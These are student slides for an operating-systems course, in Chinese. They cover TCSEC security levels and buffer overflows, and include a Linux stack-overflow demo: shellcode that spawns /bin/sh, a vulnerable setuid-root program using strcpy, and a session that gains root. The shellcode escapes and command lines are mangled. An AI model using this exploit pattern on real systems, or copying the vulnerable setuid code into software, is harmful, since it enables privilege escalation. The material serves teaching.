Skip to main content
作業系統期末報告
指導老師:林芳苓
D1024241038 曾奕綾
D1024241022 劉家鑫
D1024241023 劉玉婷
Y1044241102 蔡繼洵
目录
8-6 電腦的安全等級
8-8 實作探險記
緩衝區溢位攻擊法
8-6 電腦的安全等級
• 由於真實世界的電腦系統並不可能達到百分之百
的安全防護,因此,我們經常把具安全性能的系
統稱為受信任系統,而不是安全系統。由於每種
系統在執行安全防護的能力上並不相同,因此,
在美國國防部制定的電腦系統信任評估標準中
(正式的名稱為“受信任電腦系統評價標
準”( TCSEC : Trusted Computer System
Evaluation CRITERIA )),將一個電腦系統可
接受的信任程度給予分級,依照安全性從高到低
劃分為 A , B , C , D 四個等級,其中這些安
全等級不是線性的,而是指數級上升的。
• 計算機安全由低到高分為四類七級:
D1 、 C1 、 C2 、 B1 、 B2 、 B3 、 A1 。
• D1 級:計算機安全的最低一級,不要求用戶進行用戶
登錄和密碼保護,任何人都可以使用,整個系統是不
可信任的,硬件軟件都易被侵襲。
• C1 級:自主安全保護級,要求硬件有一定的安全級
(如計算機帶鎖),用戶必須通過登錄認證方可使用
系統,並建立了訪問許可權限機制。
• C2 級:受控存取保護級,比 C1 級增加了幾個特性:
引進了受控訪問環境,進一步限制了用戶執行某些系
統指令;授權分級使系統管理員給用戶分組,授予他
們訪問某些程序和分級目錄的權限;采用系統審計,
跟蹤記錄所有安全事件及系統管理員工作。
• B1 級:標記安全保護級,對網絡上每個對象都予
實施保護;支持多級安全,對網絡、應用程序工
作站實施不同的安全策略;對象必須在訪問控制
之下,不允許擁有者自己改變所屬資源的權限。
• B2 級:結構化保護級,對網絡和計算機系統中所
有對象都加以定義,給一個標簽;為工作站、終
端等設備分配不同的安全級別;按最小特權原則
取消權力無限大的特權用戶。
• B3 級:安全域級,要求用戶工作站或終端必須通
過信任的途徑連接到網絡系統內部的主機上;采
用硬件來保護系統的數據存儲區;根據最小特權
原則,增加了系統安全員,將系統管理員、系統
操作員和系統安全員的職責分離,將人為因素對
計算機安全的威脅減至最小。
• A1 級:驗證設計級,是計算機安全級中最高一級
,本級包括了以上各級別的所有措施,並附加了
一個安全系統的受監視設計;合格的個體必須經
過分析並通過這一設計;所有構成系統的部件的
來源都必須有安全保證;還規定了將安全計算機
系統運送到現場安裝所必須遵守的程序。
IE 瀏覽器里有個類似的等級分類
8-8 實作探險記
緩衝區溢位攻擊法
緩沖區溢位攻擊是利用緩沖區溢位漏洞所進行的攻擊行
動。緩沖區溢位是一種非常普遍、非常危險的漏洞,在
各種作業系統、應用軟件中廣泛存在。利用緩沖區溢位
攻擊,可以導致程序運行失敗、系統關機、重新啟動等
後果。
緩沖區溢位是指當計算機向緩沖區內填充數據位數時超
過了緩沖區本身的容量,溢位的數據覆蓋在合法數據上。
理想的情況是:程序會檢查數據長度,而且並不允許輸
入超過緩沖區長度的字符。但是絕大多數程序都會假設
數據長度總是與所分配的儲存空間相匹配,這就為緩沖
區溢位埋下隱患。作業系統所使用的緩沖區,又被稱為
“堆疊”,在各個作業進程之間,指令會被臨時儲存在“堆
疊”當中,“堆疊”也會出現緩沖區溢位。
程式段
全域 / 靜態變
數區
HEAP 區
堆疊段
程式段:存放程式碼的區域屬性為唯讀。
資料段:又分為全域 / 靜態變數區與 HEAP 。全域 / 靜態變
數區是存放全域變數或 static 變數, HEAP 區域則是存放
可由程式動態配置的資料,屬性為可寫與可執行。
堆疊段:採後進先出的策略,存放函式呼叫時所需使用的參
數值、返回位址、相關指數、及局部變數,屬性也是可寫與
可執行。
案例
第一個緩沖區溢位攻擊 --Morris 蠕蟲,發生在二十年前,它曾造成了全世界
6000 多臺網絡服務器癱瘓。
在當前網絡與分布式系統安全中,被廣泛利用的 50% 以上都是緩沖區溢位,
其中最著名的例子是 1988 年利用 fingerd 漏洞的蠕蟲。而緩沖區溢位中,最
為危險的是堆疊溢位,因為入侵者可以利用堆疊溢位,在函數返回時改變返回
程序的地址,讓其跳轉到任意地址,帶來的危害一種是程序崩潰導致拒絕服務
,另外一種就是跳轉並且執行一段惡意代碼,比如得到 shell ,然後為所欲為
。
緩沖區溢位攻擊的目的在於擾亂具有某些特權運行的程序的功能,這樣可以使
得攻擊者取得程序的控制權,如果該程序具有足夠的權限,那麽整個主機就被
控制了。一般而言,攻擊者攻擊 root 程序,然後執行類似“ exec(sh )”的執行
代碼來獲得 root 權限的 shell 。為了達到這個目的,攻擊者必須達到如下的兩
個目標:
⒈ 在程序的地址空間裏安排適當的代碼。
⒉ 通過適當的初始化寄存器和內存,讓程序跳轉到入侵者安排的地址空間執
行。
攻擊目標
攻擊實例 Linux 下的緩沖區溢位攻擊實例
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main(int argc,char **argv){
char large_string[128];
long *long_ptr = (long *) large_string;
int i;
char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07"
"x89x46x0cxb0x0bx89xf3x8dx4ex08x8d"
"x56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) strtoul(argv[2],NULL,16 );
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i]; setenv("KIRIKA",large_string,1 );
execle(argv[1],argv[1],NULL,environ);
return 0;}
攻擊程序 exe.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char **argv){
char buffer[96];
printf("- %p -n",&buffer);
strcpy(buffer,getenv("KIRIKA"));
return 0;}
攻擊對象 toto.c
將上面兩個程序分別編譯為可執行程序,並且將 toto 改為屬主為 root 的 setuid 程序:
$ gcc exe.c -o exe$ gcc toto.c -o toto$ suPassword:# chown root.root toto# chmod +s
toto# ls -l exe toto-rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe*-rwsr-sr-x 1 root root
11269 Sep 28 20:20 toto*# exit
別忘了用 whoami 命令驗證一下我們的身份。其實 Linux 繼承了 UNⅨ 的一個習
慣,即普通用戶的命令提示符是以 $ 開始的,而超級用戶的命令提示符是以 #
開始的。
$ whoamiwy$ ./exe ./toto 0xbfffffff- 0xbffffc38 -Segmentation fault$ ./exe ./toto
0xbffffc38- 0xbffffc38 -bash# whoamirootbash#
第一次一般不會成功,但是我們可以準確得知系統的漏洞所在―― 0xbffffc38 ,
第二次必然一擊斃命。當我們在新創建的 shell 下再次執行 whoami 命令時,我
們的身份已經是 root 了!由於在所有 UNⅨ 系統下黑客攻擊的最高目標就是對
root 權限的追求,因此可以說系統已經被攻破了。
我們模擬了一次 Linux 下緩沖區溢位攻擊的典型案例。 toto 的屬主為 root ,並
且具有 setuid 屬性,通常這種程序是緩沖區溢位的典型攻擊目標。普通用戶 wy
通過其含有惡意攻擊代碼的程序 exe 向具有缺陷的 toto 發動了一次緩沖區溢位
攻擊,並由此獲得了系統的 root 權限。
兩道題目
資料段的屬性為( A ) 單選
A. 可寫與可執行 B. 唯讀 C. 唯寫 D. 可執行
在美國國防部制定的電腦系統信任評估標準中,電腦系統的安全分為( D )個等級
A. 1 B.2 C.3 D.4
謝謝觀賞